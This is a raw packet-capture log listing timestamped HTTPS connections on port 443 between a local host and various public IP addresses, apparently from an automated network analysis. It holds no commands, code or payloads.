Oct 3, 2024 17:19:53.291408062 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.291666031 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.291695118 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.299263000 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.299421072 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.299434900 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.303407907 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.303489923 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.303510904 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.303529978 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.303555965 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.303647995 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.304037094 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.304052114 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.343420029 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.353502989 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.353534937 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.402386904 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.461266041 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.461512089 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.461534977 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.462596893 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.462672949 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.462965965 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.463030100 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.463114977 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.463123083 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.481091022 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.482439041 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.482506037 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.483591080 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.483608007 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.483624935 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.483666897 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.485177994 CEST	56081	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.485217094 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.485290051 CEST	56081	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.485548019 CEST	56081	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.485557079 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.504491091 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.504853964 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.504873991 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.506314993 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.506397009 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.506705046 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.506782055 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.506850958 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.506856918 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.513504982 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.532063961 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.532382965 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.532419920 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.533206940 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.533567905 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.533662081 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.533711910 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.560604095 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.575480938 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.611411095 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:53.611457109 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:53.611536026 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:53.611742973 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:53.611753941 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:53.611758947 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.612019062 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.612060070 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.612193108 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.612257957 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.612322092 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.612917900 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.612967968 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.613010883 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.613073111 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.613090992 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.613147974 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.613711119 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.614547968 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.614615917 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.614633083 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.616633892 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.616683006 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.616707087 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.616722107 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.616781950 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.636419058 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.636575937 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.636769056 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.636768103 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.636841059 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.636919022 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.636941910 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.637696981 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.637762070 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.637769938 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.637797117 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.637851954 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.638092995 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.638159990 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.638237953 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.638252974 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.638390064 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.638503075 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.638520956 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.638566971 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.638596058 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.639219046 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.639285088 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.643636942 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.643666983 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.643738985 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.644251108 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.644264936 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.659306049 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.659322977 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.659395933 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.659836054 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.659846067 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.660259962 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.660365105 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.660458088 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.661078930 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.661117077 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.661830902 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.661864996 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.666032076 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.666096926 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.666193008 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.666894913 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.666923046 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.674139023 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.674168110 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.674237967 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.674649954 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:53.674674988 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:53.674731016 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:53.674871922 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:53.674884081 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:53.675149918 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:53.675159931 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:53.687356949 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:53.687381029 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:53.687473059 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:53.688663006 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:53.688672066 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:53.704268932 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.704616070 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.704654932 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.704677105 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.704684973 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.704732895 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.705338001 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.706120968 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.706166029 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.706183910 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.706191063 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.706233978 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.706617117 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.707464933 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.707506895 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.707514048 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.707520008 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.707566023 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.707572937 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.708158970 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.708203077 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.708204031 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.708223104 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.708264112 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.709029913 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.709100962 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.709141016 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.709146976 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.710011005 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.710045099 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.710062027 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.710067034 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.710108042 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.710843086 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.710921049 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.710958004 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.710963011 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.711850882 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.711905003 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.711913109 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.767498970 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.776781082 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.777107954 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.777134895 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.777160883 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.777206898 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.777231932 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.777244091 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.796765089 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.796925068 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.796977043 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.796977043 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.796998024 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.797039032 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.797410011 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.797486067 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.797524929 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.797537088 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.798017979 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.798084021 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.798101902 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.798109055 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.798155069 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.798820972 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.798898935 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.798938036 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.798945904 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.799666882 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.799710989 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.799715996 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.799724102 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.799772024 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.799778938 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.800470114 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.800517082 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.800524950 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.800570011 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.800610065 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.800610065 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.800621986 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.800664902 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.801271915 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.801352024 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.801392078 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.801393986 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.801403046 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.801470995 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.802114964 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.802187920 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.802229881 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.802236080 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.802375078 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.802421093 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.802710056 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.802721977 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.831512928 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.831531048 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.835233927 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:53.835264921 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:53.835351944 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:53.835531950 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:53.835541964 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:53.836823940 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.836853027 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.836905003 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.836914062 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.836960077 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.837264061 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.838047028 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.838071108 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.838104963 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.838113070 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.838155985 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.863188982 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.863574028 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.863641977 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.863662004 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.864025116 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.864049911 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.864089966 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.864099026 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.864146948 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.864644051 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.864871979 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.864916086 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.864922047 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.864998102 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.865050077 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.876426935 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.876451969 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.963613987 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.963949919 CEST	56081	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.963968992 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.964411974 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.964818001 CEST	56081	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.964881897 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.964996099 CEST	56081	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:54.011403084 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:54.104717970 CEST	56093	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:54.104749918 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.104846954 CEST	56093	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:54.105109930 CEST	56093	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:54.105134964 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.130187035 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.130501986 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.130525112 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.130847931 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.131247044 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.131297112 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.131496906 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.148669958 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:54.148741961 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:54.148797989 CEST	56081	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:54.151042938 CEST	56081	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:54.151057959 CEST	443	56081	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:54.157676935 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.157955885 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.157980919 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.159178972 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.159260035 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.160356045 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.160423994 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.160849094 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.160860062 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.160882950 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.161272049 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.161303043 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.161386967 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.161638021 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.161649942 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.162499905 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.162523985 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:54.162580967 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.162828922 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.162838936 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:54.179390907 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.179442883 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:54.179481030 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:54.179548979 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:54.179775953 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:54.179788113 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:54.207405090 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.213531017 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.237137079 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.237189054 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.237238884 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.237262964 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.237524986 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.237566948 CEST	56088	443	192.168.2.17	35.201.112.186
